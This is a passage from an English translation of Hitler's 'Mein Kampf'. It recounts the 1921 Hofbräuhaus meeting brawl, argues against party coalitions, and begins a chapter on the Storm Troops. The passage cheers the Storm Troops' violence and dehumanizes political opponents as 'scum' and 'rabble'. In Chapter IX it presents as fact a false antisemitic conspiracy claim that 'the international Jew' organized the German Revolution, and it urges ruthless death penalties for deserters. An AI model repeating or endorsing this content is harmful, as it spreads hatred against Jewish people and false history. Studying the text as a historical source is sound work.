the next time. +Their purpose was to see to it that our movement should not grow but +should be immediately hewn down root and branch by the hefty arm of the +proletariat. + +A few days later the real attack came. It was decided finally to +interrupt one of our meetings which was billed to take place in the +Munich Hofbräuhaus, and at which I myself was to speak. + +On November 4th, 1921, in the evening between six and seven o'clock I +received the first precise news that the meeting would positively be +broken up and that to carry out this action our adversaries had decided +to send to the meeting great masses of workmen employed in certain 'Red' +factories. + +It was due to an unfortunate accident that we did not receive this news +sooner. On that day we had given up our old business office in the +Sternecker Gasse in Munich and moved into other quarters; or rather we +had given up the old offices and our new quarters were not yet in +functioning order. The telephone arrangements had been cut off by the +former tenants and had not yet been reinstalled. Hence it happened that +several attempts made that day to inform us by telephone of the break-up +which had been planned for the evening did not reach us. + +Consequently our order troops were not present in strong force at that +meeting. There was only one squad present, which did not consist of the +usual one hundred men, but only of about forty-six. And our telephone +connections were not yet sufficiently organized to be able to give the +alarm in the course of an hour or so, so that a sufficiently powerful +number of order troops to deal with the situation could be called. It +must also be added that on several previous occasions we had been +forewarned, but nothing special happened. The old proverb, 'Revolutions +which were announced have scarcely ever come off', had hitherto been +proved true in our regard. + +Possibly for this reason also sufficiently strong precautions had not +been taken on that day to cope with the brutal determination of our +opponents to break up our meeting. + +Finally, we did not believe that the Hofbräuhaus in Munich was suitable +for the interruptive tactics of our adversaries. We had feared such a +thing far more in the bigger halls, especially that of the Krone Circus. +But on this point we learned a very serviceable lesson that evening. +Later, we studied this whole question according to a scientific system +and arrived at results, both interesting and incredible, and which +subsequently were an essential factor in the direction of our +organization and in the tactics of our Storm Troops. + +When I arrived in the entrance halt of the Hofbräuhaus at 7.45 that +evening I realizcd that there could be no doubt as to what the 'Reds' +intended. The hall was filled, and for that reason the police had barred +the entrances. Our adversaries, who had arrived very early, were in the +hall, and our followers were for the most part outside. The small +bodyguard awaited me at the entrance. I had the doors leading to the +principal hall closed and then asked the bodyguard of forty-five or +forty-six men to come forward. I made it clear to the boys that perhaps +on that evening for the first time they would have to show their +unbending and unbreakable loyalty to the movement and that not one of us +should leave the hall unless carried out dead. I added that I would +remain in the hall and that I did not believe that one of them would +abandon me, and that if I saw any one of them act the coward I myself +would personally tear off his armlet and his badge. I demanded of them +that they should come forward if the slightest attempt to sabotage the +meeting were made and that they must remember that the best defence is +always attack. + +I was greeted with a triple 'HEIL' which sounded more hoarse and violent +than usual. + +Then I advanced through the hall and could take in the situation with my +own eyes. Our opponents sat closely huddled together and tried to pierce +me through with their looks. Innumerable faces glowing with hatred and +rage were fixed on me, while others with sneering grimaces shouted at me +together. Now they would 'Finish with us. We must look out for our +entrails. To-day they would smash in our faces once and for all.' And +there were other expressions of an equally elegant character. They knew +that they were there in superior numbers and they acted accordingly. + +Yet we were able to open the meeting; and I began to speak. In the Hall +of the Hofbräuhaus I stood always at the side, away from the entry and +on top of a beer table. Therefore I was always right in the midst of the +audience. Perhaps this circumstance was responsible for creating a +certain feeling and a sense of agreement which I never found elsewhere. + +Before me, and especially towards my left, there were only opponents, +seated or standing. They were mostly robust youths and men from the +Maffei Factory, from Kustermann's, and from the factories on the Isar, +etc. Along the right-hand wall of the hall they were thickly massed +quite close to my table. They now began to order litre mugs of beer, one +after the other, and to throw the empty mugs under the table. In this +way whole batteries were collected. I should have been surprised had +this meeting ended peacefully. + +In spite of all the interruptions, I was able to speak for about an hour +and a half and I felt as if I were master of the situation. Even the +ringleaders of the disturbers appeared to be convinced of this; for they +steadily became more uneasy, often left the hall, returned and spoke to +their men in an obviously nervous way. + +A small psychological error which I committed in replying to an +interruption, and the mistake of which I myself was conscious the moment +the words had left my mouth, gave the sign for the outbreak. + +There were a few furious outbursts and all in a moment a man jumped on a +seat and shouted "Liberty". At that signal the champions of liberty +began their work. + +In a few moments the hall was filled with a yelling and shrieking mob. +Numerous beer-mugs flew like howitzers above their heads. Amid this +uproar one heard the crash of chair legs, the crashing of mugs, groans +and yells and screams. + +It was a mad spectacle. I stood where I was and could observe my boys +doing their duty, every one of them. + +There I had the chance of seeing what a bourgeois meeting could be. + +The dance had hardly begun when my Storm Troops, as they were called +from that day onwards, launched their attack. Like wolves they threw +themselves on the enemy again and again in parties of eight or ten and +began steadily to thrash them out of the hall. After five minutes I +could see hardly one of them that was not streaming with blood. Then I +realized what kind of men many of them were, above all my brave Maurice +Hess, who is my private secretary to-day, and many others who, even +though seriously wounded, attacked again and again as long as they could +stand on their feet. Twenty minutes long the pandemonium continued. Then +the opponents, who had numbered seven or eight hundred, had been driven +from the hall or hurled out headlong by my men, who had not numbered +fifty. Only in the left corner a big crowd still stood out against our +men and put up a bitter fight. Then two pistol shots rang out from the +entrance to the hall in the direction of the platform and now a wild din +of shooting broke out from all sides. One's heart almost rejoiced at +this spectacle which recalled memories of the War. + +At that moment it was not possible to identify the person who had fired +the shots. But at any rate I could see that my boys renewed the attack +with increased fury until finally the last disturbers were overcome and +flung out of the hall. + +About twenty-five minutes had passed since it all began. The hall looked +as if a bomb had exploded there. Many of my comrades had to be bandaged +and others taken away. But we remained masters of the situation. Hermann +Essen, who was chairman of the meeting, announced: "The meeting will +continue. The speaker shall proceed." So I went on with my speech. + +When we ourselves declared the meeting at an end an excited police +officer rushed in, waved his hands and declared: "The meeting is +dissolved." + +Without wishing to do so I had to laugh at this example of the law's +delay. It was the authentic constabulary officiosiousness. The smaller +they are the greater they must always appear. + +That evening we learned a real lesson. And our adversaries never forgot +the lesson they had received. + +Up to the autumn of 1923 the Münchener post did not again mention the +clenched fists of the Proletariat. + + + + +CHAPTER VIII + + + +THE STRONG IS STRONGEST WHEN ALONE + + +In the preceding chapter I mentioned the existence of a co-operative +union between the German patriotic associations. Here I shall deal +briefly with this question. + +In speaking of a co-operative union we generally mean a group of +associations which, for the purpose of facilitating their work, +establish mutual relations for collaborating with one another along +certain lines, appointing a common directorate with varying powers and +thenceforth carrying out a common line of action. The average citizen is +pleased and reassured when he hears that these associations, by +establishing a co-operative union among one another, have at long last +discovered a common platform on which they can stand united and have +eliminated all grounds of mutual difference. Therewith a general +conviction arises, to the effect that such a union is an immense gain in +strength and that small groups which were weak as long as they stood +alone have now suddenly become strong. Yet this conviction is for the +most part a mistaken one. + +It will be interesting and, in my opinion, important for the better +understanding of this question if we try to get a clear notion of how it +comes about that these associations, unions, etc., are established, when +all of them declare that they have the same ends in view. In itself it +would be logical to expect that one aim should be fought for by a single +association and it would be more reasonable if there were not a number +of associations fighting for the same aim. In the beginning there was +undoubtedly only one association which had this one fixed aim in view. +One man proclaimed a truth somewhere and, calling for the solution of a +definite question, fixed his aim and founded a movement for the purpose +of carrying his views into effect. + +That is how an association or a party is founded, the scope of whose +programme is either the abolition of existing evils or the positive +establishment of a certain order of things in the future. + +Once such a movement has come into existence it may lay practical claim +to certain priority rights. The natural course of things would now be +that all those who wish to fight for the same objective as this movement +is striving for should identify themselves with it and thus increase its +strength, so that the common purpose in view may be all the better +served. Especially men of superior intelligence must feel, one and all, +that by joining the movement they are establishing precisely those +conditions which are necessary for practical success in the common +struggle. Accordingly it is reasonable and, in a certain sense, +honest--which honesty, as I shall show later, is an element of very +great importance--that only one movement should be founded for the +purpose of attaining the one aim. + +The fact that this does not happen must be attributed to two causes. The +first may almost be described as tragic. The second is a matter for +pity, because it has its foundation in the weaknesses of human nature. +But, on going to the bottom of things, I see in both causes only facts +which give still another ground for strengthening our will, our energy +and intensity of purpose; so that finally, through the higher +development of the human faculties, the solution of the problem in +question may be rendered possible. + +The tragic reason why it so often happens that the pursuit of one +definite task is not left to one association alone is as follows: +Generally speaking, every action carried out on the grand style in this +world is the expression of a desire that has already existed for a long +time in millions of human hearts, a longing which may have been +nourished in silence. Yes, it may happen that throughout centuries men +may have been yearning for the solution of a definite problem, because +they have been suffering under an unendurable order of affairs, without +seeing on the far horizon the coming fulfilment of the universal +longing. Nations which are no longer capable of finding an heroic +deliverance from such a sorrowful fate may be looked upon as effete. +But, on the other hand, nothing gives better proof of the vital forces +of a people and the consequent guarantee of its right to exist than that +one day, through a happy decree of Destiny, a man arises who is capable +of liberating his people from some great oppression, or of wiping out +some bitter distress, or of calming the national soul which had been +tormented through its sense of insecurity, and thus fulfilling what had +long been the universal yearning of the people. + +An essential characteristic of what are called the great questions of +the time is that thousands undertake the task of solving them and that +many feel themselves called to this task: yea, even that Destiny itself +has proposed many for the choice, so that through the free play of +forces the stronger and bolder shall finally be victorious and to him +shall be entrusted the task of solving the problem. + +Thus it may happen that for centuries many are discontented with the +form in which their religious life expresses itself and yearn for a +renovation of it; and so it may happen that through this impulse of the +soul some dozens of men may arise who believe that, by virtue of their +understanding and their knowledge, they are called to solve the +religious difficulties of the time and accordingly present themselves as +the prophets of a new teaching or at least as declared adversaries of +the standing beliefs. + +Here also it is certain that the natural law will take its course, +inasmuch as the strongest will be destined to fulfil the great mission. +But usually the others are slow to acknowledge that only one man is +called. On the contrary, they all believe that they have an equal right +to engage in the solution of the diffculties in question and that they +are equally called to that task. Their contemporary world is generally +quite unable to decide which of all these possesses the highest gifts +and accordingly merits the support of all. + +So in the course of centuries, or indeed often within the same epoch, +different men establish different movements to struggle towards the same +end. At least the end is declared by the founders of the movements to be +the same, or may be looked upon as such by the masses of the people. The +populace nourishes vague desires and has only general opinions, without +having any precise notion of their own ideals and desires or of the +question whether and how it is impossible for these ideals and desires +to be fulfilled. + +The tragedy lies in the fact that many men struggle to reach the same +objective by different roads, each one genuinely believing in his own +mission and holding himself in duty bound to follow his own road without +any regard for the others. + +These movements, parties, religious groups, etc., originate entirely +independently of one another out of the general urge of the time, and +all with a view to working towards the same goal. It may seem a tragic +thing, at least at first sight, that this should be so, because people +are too often inclined to think that forces which are dispersed in +different directions would attain their ends far more quickly and more +surely if they were united in one common effort. But that is not so. For +Nature herself decides according to the rules of her inexorable logic. +She leaves these diverse groups to compete with one another and dispute +the palm of victory and thus she chooses the clearest, shortest and +surest way along which she leads the movement to its final goal. + +How could one decide from outside which is the best way, if the forces +at hand were not allowed free play, if the final decision were to rest +with the doctrinaire judgment of men who are so infatuated with their +own superior knowledge that their minds are not open to accept the +indisputable proof presented by manifest success, which in the last +analysis always gives the final confirmation of the justice of a course +of action. + +Hence, though diverse groups march along different routes towards the +same objective, as soon as they come to know that analogous efforts are +being made around them, they will have to study all the more carefully +whether they have chosen the best way and whether a shorter way may not +be found and how their efforts can best be employed to reach the +objective more quickly. + +Through this rivalry each individual protagonist develops his faculties +to a still higher pitch of perfection and the human race has frequently +owed its progress to the lessons learned from the misfortunes of former +attempts which have come to grief. Therefore we may conclude that we +come to know the better ways of reaching final results through a state +of things which at first sight appeared tragic; namely, the initial +dispersion of individual efforts, wherein each group was unconsciously +responsible for such dispersion. + +In studying the lessons of history with a view to finding a way for the +solution of the German problem, the prevailing opinion at one time was +that there were two possible paths along which that problem might be +solved and that these two paths should have united from the very +beginning. The chief representatives and champions of these two paths +were Austria and Prussia respectively, Habsburg and Hohenzollern. All +the rest, according to this prevalent opinion, ought to have entrusted +their united forces to the one or the other party. But at that time the +path of the most prominent representative, the Habsburg, would have been +taken, though the Austrian policy would never have led to the foundation +of a united German REICH. + +Finally, a strong and united German REICH arose out of that which many +millions of Germans deplored in their hearts as the last and most +terrible manifestation of our fratricidal strife. The truth is that the +German Imperial Crown was retrieved on the battle field of Königgrätz +and not in the fights that were waged before Paris, as was commonly +asserted afterwards. + +Thus the foundation of the German REICH was not the consequence of any +common will working along common lines, but it was much more the outcome +of a deliberate struggle for hegemony, though the protagonists were +often hardly conscious of this. And from this struggle Prussia finally +came out victorious. Anybody who is not so blinded by partisan politics +as to deny this truth will have to agree that the so-called wisdom of +men would never have come to the same wise decision as the wisdom of +Life itself, that is to say, the free play of forces, finally brought to +realization. For in the German lands of two hundred years before who +would seriously have believed that Hohenzollern Prussia, and not +Habsburg, would become the germ cell, the founder and the tutor of the +new REICH? And, on the other hand, who would deny to-day that Destiny +thus acted wiser than human wisdom. Who could now imagine a German REICH +based on the foundations of an effete and degenerate dynasty? + +No. The general evolution of things, even though it took a century of +struggle, placed the best in the position that it had merited. + +And that will always be so. Therefore it is not to be regretted if +different men set out to attain the same objective. In this way the +strongest and swiftest becomes recognized and turns out to be the +victor. + +Now there is a second cause for the fact that often in the lives of +nations several movements which show the same characteristics strive +along different ways to reach what appears to be the same goal. This +second cause is not at all tragic, but just something that rightly calls +forth pity. It arises from a sad mixture of envy, jealousy, ambition, +and the itch for taking what belongs to others. Unfortunately these +failings are often found united in single specimens of the human +species. + +The moment a man arises who profoundly understands the distress of his +people and, having diagnosed the evil with perfect accuracy, takes +measures to cure it; the moment he fixes his aim and chooses the means +to reach it--then paltry and pettifogging people become all attention +and eagerly follow the doings of this man who has thus come before the +public gaze. Just like sparrows who are apparently indifferent, but in +reality are firmly intent on the movements of the fortunate companion +with the morsel of bread so that they may snatch it from him if he +should momentarily relax his hold on it, so it is also with the human +species. All that is needed is that one man should strike out on a new +road and then a crowd of poltroons will prick up their ears and begin to +sniff for whatever little booty may possibly lie at the end of that +road. The moment they think they have discovered where the booty is to +be gathered they hurry to find another way which may prove to be quicker +in reaching that goal. + +As soon as a new movement is founded and has formulated a definite +programme, people of that kind come forward and proclaim that they are +fighting for the same cause. This does not imply that they are ready +honestly to join the ranks of such a movement and thus recognize its +right of priority. It implies rather that they intend to steal the +programme and found a new party on it. In doing this they are shameless +enough to assure the unthinking public that for a long time they had +intended to take the same line of action as the other has now taken, and +frequently they succeed in thus placing themselves in a favourable +light, instead of arousing the general disapprobation which they justly +deserve. For it is a piece of gross impudence to take what has already +been inscribed on another's flag and display it on one's own, to steal +the programme of another, and then to form a separate group as if all +had been created by the new founder of this group. The impudence of such +conduct is particularly demonstrated when the individuals who first +caused dispersion and disruption by their new foundation are those +who--as experience has shown--are most emphatic in proclaiming the +necessity of union and unity the moment they find they cannot catch up +with their adversary's advance. + +It is to that kind of conduct that the so-called 'patriotic +disintegration' is to be attributed. + +Certainly in the years 1918--1919 the founding of a multitude of new +groups, parties, etc., calling themselves 'Patriotic,' was a natural +phenomenon of the time, for which the founders were not at all +responsible. By 1920 the National Socialist German Labour Party had +slowly crystallized from all these parties and had become supreme. There +could be no better proof of the sterling honesty of certain individual +founders than the fact that many of them decided, in a really admirable +manner, to sacrifice their manifestly less successful movements to the +stronger movement, by joining it unconditionally and dissolving their +own. + +This is specially true in regard to Julius Streicher, who was at that +time the protagonist of the German Socialist party in Nürnberg. The +National Socialist German Labour Party had been founded with similar +aims in view, but quite independently of the other. I have already said +that Streicher, then a teacher in Nürnberg, was the chief protagonist of +the German Socialist Party. He had a sacred conviction of the mission +and future of his own movement. As soon, however, as the superior +strength and stronger growth of the National Socialist Party became +clear and unquestionable to his mind, he gave up his work in the German +Socialist Party and called upon his followers to fall into line with the +National Socialist German Labour Party, which had come out victorious +from the mutual contest, and carry on the fight within its ranks for the +common cause. The decision was personally a difficult one for him, but +it showed a profound sense of honesty. + +When that first period of the movement was over there remained no +further dispersion of forces: for their honest intentions had led the +men of that time to the same honourable, straightforward and just +conclusion. What we now call the 'patriotic disintegration' owes its +existence exclusively to the second of the two causes which I have +mentioned. Ambitious men who at first had no ideas of their own, and +still less any concept of aims to be pursued, felt themselves 'called' +exactly at that moment in which the success of the National Socialist +German Labour Party became unquestionable. + +Suddenly programmes appeared which were mere transcripts of ours. Ideas +were proclaimed which had been taken from us. Aims were set up on behalf +of which we had been fighting for several years, and ways were mapped +out which the National Socialists had for a long time trodden. All kinds +of means were resorted to for the purpose of trying to convince the +public that, although the National Socialist German Labour Party had now +been for a long time in existence, it was found necessary to establish +these new parties. But all these phrases were just as insincere as the +motives behind them were ignoble. + +In reality all this was grounded only on one dominant motive. That +motive was the personal ambition of the founders, who wished to play a +part in which their own pigmy talents could contribute nothing original +except the gross effrontery which they displayed in appropriating the +ideas of others, a mode of conduct which in ordinary life is looked upon +as thieving. + +At that time there was not an idea or concept launched by other people +which these political kleptomaniacs did not seize upon at once for the +purpose of applying to their own base uses. Those who did all this were +the same people who subsequently, with tears in their eyes, profoundly +deplored the 'patriotic disintegration' and spoke unceasingly about the +'necessity of unity'. In doing this they nurtured the secret hope that +they might be able to cry down the others, who would tire of hearing +these loud-mouthed accusations and would end up by abandoning all claim +to the ideas that had been stolen from them and would abandon to the +thieves not only the task of carrying these ideas into effect but also +the task of carrying on the movements of which they themselves were the +original founders. + +When that did not succeed, and the new enterprises, thanks to the paltry +mentality of their promoters, did not show the favourable results which +had been promised beforehand, then they became more modest in their +pretences and were happy if they could land themselves in one of the +so-called 'co-operative unions'. + +At that period everything which could not stand on its own feet joined +one of those co-operative unions, believing that eight lame people +hanging on to one another could force a gladiator to surrender to them. + +But if among all these cripples there was one who was sound of limb he +had to use all his strength to sustain the others and thus he himself +was practically paralysed. + +We ought to look upon the question of joining these working coalitions +as a tactical problem, but, in coming to a decision, we must never +forget the following fundamental principle: + +Through the formation of a working coalition associations which are weak +in themselves can never be made strong, whereas it can and does happen +not infrequently that a strong association loses its strength by joining +in a coalition with weaker ones. It is a mistake to believe that a +factor of strength will result from the coalition of weak groups; +because experience shows that under all forms and all conditions the +majority represents the duffers and poltroons. Hence a multiplicity of +associations, under a directorate of many heads, elected by these same +associations, is abandoned to the control of poltroons and weaklings. +Through such a coalition the free play of forces is paralysed, the +struggle for the selection of the best is abolished and therewith the +necessary and final victory of the healthier and stronger is impeded. +Coalitions of that kind are inimical to the process of natural +development, because for the most part they hinder rather than advance +the solution of the problem which is being fought for. + +It may happen that, from considerations of a purely tactical kind, the +supreme command of a movement whose goal is set in the future will enter +into a coalition with such associations for the treatment of special +questions and may also stand on a common platform with them, but this +can be only for a short and limited period. Such a coalition must not be +permanent, if the movement does not wish to renounce its liberating +mission. Because if it should become indissolubly tied up in such a +combination it would lose the capacity and the right to allow its own +forces to work freely in following out a natural development, so as to +overcome rivals and attain its own objective triumphantly. + +It must never be forgotten that nothing really great in this world has +ever been achieved through coalitions, but that such achievements have +always been due to the triumph of the individual. Successes achieved +through coalitions, owing to the very nature of their source, carry the +germs of future disintegration in them from the very start; so much so +that they have already forfeited what has been achieved. The great +revolutions which have taken place in human thought and have veritably +transformed the aspect of the world would have been inconceivable and +impossible to carry out except through titanic struggles waged between +individual natures, but never as the enterprises of coalitions. + +And, above all things, the People's State will never be created by the +desire for compromise inherent in a patriotic coalition, but only by the +iron will of a single movement which has successfully come through in +the struggle with all the others. + + + + +CHAPTER IX + + + +FUNDAMENTAL IDEAS REGARDING THE NATURE AND ORGANIZATION OF THE STORM TROOPS + + +The strength of the old state rested on three pillars: the monarchical +form of government, the civil service, and the army. The Revolution of +1918 abolished the form of government, dissolved the army and abandoned +the civil service to the corruption of party politics. Thus the +essential supports of what is called the Authority of the State were +shattered. This authority nearly always depends on three elements, which +are the essential foundations of all authority. + +Popular support is the first element which is necessary for the creation +of authority. But an authority resting on that foundation alone is still +quite frail, uncertain and vacillating. Hence everyone who finds himself +vested with an authority that is based only on popular support must take +measures to improve and consolidate the foundations of that authority by +the creation of force. Accordingly we must look upon power, that is to +say, the capacity to use force, as the second foundation on which all +authority is based. This foundation is more stable and secure, but not +always stronger, than the first. If popular support and power are united +together and can endure for a certain time, then an authority may arise +which is based on a still stronger foundation, namely, the authority of +tradition. And, finally, if popular support, power, and tradition are +united together, then the authority based on them may be looked upon as +invincible. + +In Germany the Revolution abolished this last foundation. There was no +longer even a traditional authority. With the collapse of the old REICH, +the suppression of the monarchical form of government, the destruction +of all the old insignia of greatness and the imperial symbols, tradition +was shattered at a blow. The result was that the authority of the State +was shaken to its foundations. + +The second pillar of statal authority, namely POWER, also ceased to +exist. In order to carry through the Revolution it was necessary to +dissolve that body which had hitherto incorporated the organized force +and power of the State, namely, the Army. Indeed, some detached +fragments of the Army itself had to be employed as fighting elements in +the Revolution. The Armies at the front were not subjected in the same +measure to this process of disruption; but as they gradually left +farther behind them the fields of glory on which they had fought +heroically for four-and-half years, they were attacked by the solvent +acid that had permeated the Fatherland; and when they arrived at the +demobilizing centres they fell into that state of confusion which was +styled voluntary obedience in the time of the Soldiers' Councils. + +Of course it was out of the question to think of founding any kind of +authority on this crowd of mutineering soldiers, who looked upon +military service as a work of eight hours per day. Therefore the second +element, that which guarantees the stability of authority, was also +abolished and the Revolution had only the original element, popular +support, on which to build up its authority. But this basis was +extraordinarily insecure. By means of a few violent thrusts the +Revolution had shattered the old statal edifice to its deepest +foundations, but only because the normal equilibrium within the social +structure of the nation had already been destroyed by the war. + +Every national body is made up of three main classes. At one extreme we +have the best of the people, taking the word 'best' here to indicate +those who are highly endowed with the civic virtues and are noted for +their courage and their readiness to sacrifice their private interests. +At the other extreme are the worst dregs of humanity, in whom vice and +egotistic interests prevail. Between these two extremes stands the third +class, which is made up of the broad middle stratum, who do not +represent radiant heroism or vulgar vice. + +The stages of a nation's rise are accomplished exclusively under the +leadership of the best extreme. + +Times of normal and symmetrical development, or of stable conditions, +owe their existence and outwardly visible characteristics to the +preponderating influence of the middle stratum. In this stage the two +extreme classes are balanced against one another; in other words, they +are relatively cancelled out. + +Times of national collapse are determined by the preponderating +influence of the worst elements. + +It must be noted here, however, that the broad masses, which constitute +what I have called the middle section, come forward and make their +influence felt only when the two extreme sections are engaged in mutual +strife. In case one of the extreme sections comes out victorious the +middle section will readily submit to its domination. If the best +dominate, the broad masses will follow it. Should the worst extreme turn +out triumphant, then the middle section will at least offer no +opposition to it; for the masses that constitute the middle class never +fight their own battles. + +The outpouring of blood for four-and-a-half years during the war +destroyed the inner equilibrium between these three sections in so far +as it can be said--though admitting the sacrifices made by the middle +section--that the class which consisted of the best human elements +almost completely disappeared through the loss of so much of its blood +in the war, because it was impossible to replace the truly enormous +quantity of heroic German blood which had been shed during those +four-and-a-half years. In hundreds of thousands of cases it was always a +matter of 'VOLUNTEERS to the front', VOLUNTEERS for patrol and duty, +VOLUNTEER dispatch carriers, VOLUNTEERS for establishing and working +telephonic communications, VOLUNTEERS for bridge-building, VOLUNTEERS +for the submarines, VOLUNTEERS for the air service, VOLUNTEERS for the +storm battalions, and so on, and so on. During four-and-a-half years, +and on thousands of occasions, there was always the call for volunteers +and again for volunteers. And the result was always the same. Beardless +young fellows or fully developed men, all filled with an ardent love for +their country, urged on by their own courageous spirit or by a lofty +sense of their duty--it was always such men who answered the call for +volunteers. Tens of thousands, indeed hundreds of thousands, of such men +came forward, so that that kind of human material steadily grew scarcer +and scarcer. What did not actually fall was maimed in the fight or +gradually had to join the ranks of the crippled because of the wounds +they were constantly receiving, and thus they had to carry on +interminably owing to the steady decrease in the supply of such men. In +1914 whole armies were composed of volunteers who, owing to a criminal +lack of conscience on the part of our feckless parliamentarians, had not +received any proper training in times of peace, and so were thrown as +defenceless cannon-fodder to the enemy. The four hundred thousand who +thus fell or were permanently maimed on the battlefields of Flanders +could not be replaced any more. Their loss was something far more than +merely numerical. With their death the scales, which were already too +lightly weighed at that end of the social structure which represented +our best human quality, now moved upwards rapidly, becoming heavier on +the other end with those vulgar elements of infamy and cowardice--in +short, there was an increase in the elements that constituted the worst +extreme of our population. + +And there was something more: While for four-and-a-half years our best +human material was being thinned to an exceptional degree on the +battlefields, our worst people wonderfully succeeded in saving +themselves. For each hero who made the supreme sacrifice and ascended +the steps of Valhalla, there was a shirker who cunningly dodged death on +the plea of being engaged in business that was more or less useful at +home. + +And so the picture which presented itself at the end of the war was +this: The great middle stratum of the nation had fulfilled its duty and +paid its toll of blood. One extreme of the population, which was +constituted of the best elements, had given a typical example of its +heroism and had sacrificed itself almost to a man. The other extreme, +which was constituted of the worst elements of the population, had +preserved itself almost intact, through taking advantage of absurd laws +and also because the authorities failed to enforce certain articles of +the military code. + +This carefully preserved scum of our nation then made the Revolution. +And the reason why it could do so was that the extreme section composed +of the best elements was no longer there to oppose it. It no longer +existed. + +Hence the German Revolution, from the very beginning, depended on only +one section of the population. This act of Cain was not committed by the +German people as such, but by an obscure CANAILLE of deserters, +hooligans, etc. + +The man at the front gladly welcomed the end of the strife in which so +much blood had been shed. He was happy to be able to return home and see +his wife and children once again. But he had no moral connection with +the Revolution. He did not like it, nor did he like those who had +provoked and organized it. During the four-and-a-half years of that +bitter struggle at the front he had come to forget the party hyenas at +home and all their wrangling had become foreign to him. + +The Revolution was really popular only with a small section of the +German people: namely, that class and their accomplices who had selected +the rucksack as the hall-mark of all honourable citizens in this new +State. They did not like the Revolution for its own sake, though many +people still erroneously believe the contrary, but for the consequences +which followed in its train. + +But it was very difficult to establish any abiding authority on the +popular support given to these Marxist freebooters. And yet the young +Republic stood in need of authority at any cost, unless it was ready to +agree to be overthrown after a short period of chaos by an elementary +force assembled from those last elements that still remained among the +best extreme of the population. + +The danger which those who were responsible for the Revolution feared +most at that time was that, in the turmoil of the confusion which they +themselves had created, the ground would suddenly be taken from under +their feet, that they might be suddenly seized and transported to +another terrain by an iron grip, such as has often appeared at these +junctures in the history of nations. The Republic must be consolidated +at all costs. + +Hence it was forced almost immediately after its foundation to erect +another pillar beside that wavering pillar of popularity. They found +that power must be organized once again in order to procure a firmer +foundation for their authority. + +When those who had been the matadors of the Revolution in December 1918, +and January and February 1919, felt the ground trembling beneath their +feet they looked around them for men who would be ready to reinforce +them with military support; for their feeble position was dependent only +on whatever popular favour they enjoyed. The 'anti-militarist' Republic +had need of soldiers. But the first and only pillar on which the +authority of the State rested, namely, its popularity, was grounded only +on a conglomeration of rowdies and thieves, burglars, deserters, +shirkers, etc. Therefore in that section of the nation which we have +called the evil extreme it was useless to look for men who would be +willing to sacrifice their lives on behalf of a new ideal. The section +which had nourished the revolutionary idea and carried out the +Revolution was neither able nor willing to call on the soldiers to +protect it. For that section had no wish whatsoever to organize a +republican State, but to disorganize what already existed and thus +satisfy its own instincts all the better. Their password was not the +organization and construction of the German Republic, but rather the +plundering of it. + +Hence the cry for help sent out by the public representatives, who were +beset by a thousand anxieties, did not find any response among this +class of people, but rather provoked a feeling of bitterness and +repudiation. For they looked upon this step as the beginning of a breach +of faith and trust, and in the building up of an authority which was no +longer based on popular support but also on force they saw the beginning +of a hostile move against what the Revolution meant essentially for +those elements. They feared that measures might be taken against the +right to robbery and absolute domination on the part of a horde of +thieves and plunderers--in short, the worst rabble--who had broken out +of the convict prisons and left their chains behind. + +The representatives of the people might cry out as much as they liked, +but they could get no help from that rabble. The cries for help were met +with the counter-cry 'traitors' by those very people on whose support +the popularity of the regime was founded. + +Then for the first time large numbers of young Germans were found who +were ready to button on the military uniform once again in the service +of 'Peace and Order', as they believed, shouldering the carbine and +rifle and donning the steel helmet to defend the wreckers of the +Fatherland. Volunteer corps were assembled and, although hating the +Revolution, they began to defend it. The practical effect of their +action was to render the Revolution firm and stable. In doing this they +acted in perfect good faith. + +The real organizer of the Revolution and the actual wire-puller behind +it, the international Jew, had sized up the situation correctly. The +German people were not yet ripe to be drawn into the blood swamp of +Bolshevism, as the Russian people had been drawn. And that was because +there was a closer racial union between the intellectual classes in +Germany and the manual workers, and also because broad social strata +were permeated with cultured people, such as was the case also in the +other States of Western Europe; but this state of affairs was completely +lacking in Russia. In that country the intellectual classes were mostly +not of Russian nationality, or at least they did not have the racial +characteristics of the Slav. The thin upper layer of intellectuals which +then existed in Russia might be abolished at any time, because there was +no intermediate stratum connecting it organically with the great mass of +the people. There the mental and moral level of the great mass of the +people was frightfully low. + +In Russia the moment the agitators were successful in inciting broad +masses of the people, who could not read or write, against the upper +layer of intellectuals who were not in contact with the masses or +permanently linked with them in any way--at that moment the destiny of +Russia was decided, the success of the Revolution was assured. Thereupon +the analphabetic Russian became the slave of his Jewish dictators who, +on their side, were shrewd enough to name their dictatorship 'The +Dictatorship of the People'. + +In the case of Germany an additional factor must be taken into account. +Here the Revolution could be carried into effect only if the Army could +first be gradually dismembered. But the real author of the Revolution +and of the process of disintegration in the Army was not the soldier who +had fought at the front but the CANAILLE which more or less shunned the +light and which were either quartered in the home garrisons or were +officiating as 'indispensables' somewhere in the business world at home. +This army was reinforced by ten thousand deserters who, without running +any particular risk, could turn their backs on the Front. At all times +the real poltroon fears nothing so much as death. But at the Front he +had death before his eyes every day in a thousand different shapes. +There has always been one possible way, and one only, of making weak or +wavering men, or even downright poltroons, face their duty steadfastly. +This means that the deserter must be given to understand that his +desertion will bring upon him just the very thing he is flying from. At +the Front a man may die, but the deserter MUST die. Only this draconian +threat against every attempt to desert the flag can have a terrifying +effect, not merely on the individual but also on the mass. Therein lay +the meaning and purpose of the military penal code. + +It was a fine belief to think that the great struggle for the life of a +nation could be carried through if it were based solely on voluntary +fidelity arising from and sustained by the knowledge that such a +struggle was necessary. The voluntary fulfilment of one's duty is a +motive that determines the actions of only the best men, but not of the +average type of men. Hence special laws are necessary; just as, for +instance, the law against stealing, which was not made for men who are +honest on principle but for the weak and unstable elements. Such laws +are meant to hinder the evil-doer through their deterrent effect and +thus prevent a state of affairs from arising in which the honest man is +considered the more stupid, and which would end in the belief that it is +better to have a share in the robbery than to stand by with empty hands +or allow oneself to be robbed. + +It was a mistake to believe that in a struggle which, according to all +human foresight, might last for several years it would be possible to +dispense with those expedients which the experience of hundreds and even +of thousands of years had proved to be effective in making weak and +unstable men face and fulfil their duty in difficult times and at +moments of great nervous stress. + +For the voluntary war hero it is, of course, not necessary to have the +death penalty in the military code, but it is necessary for the cowardly +egoists who value their own lives more than the existence of the +community in the hour of national need. Such weak and characterless +people can be held back from surrendering to their cowardice only by the +application of the heaviest penalties. When men have to struggle with +death every day and remain for weeks in trenches of mire, often very +badly supplied with food, the man who is unsure of himself and begins to +waver cannot be made to stick to his post by threats of imprisonment or +even penal servitude. Only by a ruthless enforcement of the death +penalty can this be effected. For experience shows that at such a time +the recruit considers prison a thousand times more preferable than the +battlefield. In prison at least his precious life is not in danger. The +practical abolition of the death penalty during the war was a mistake +for which we had to pay dearly. Such omission really 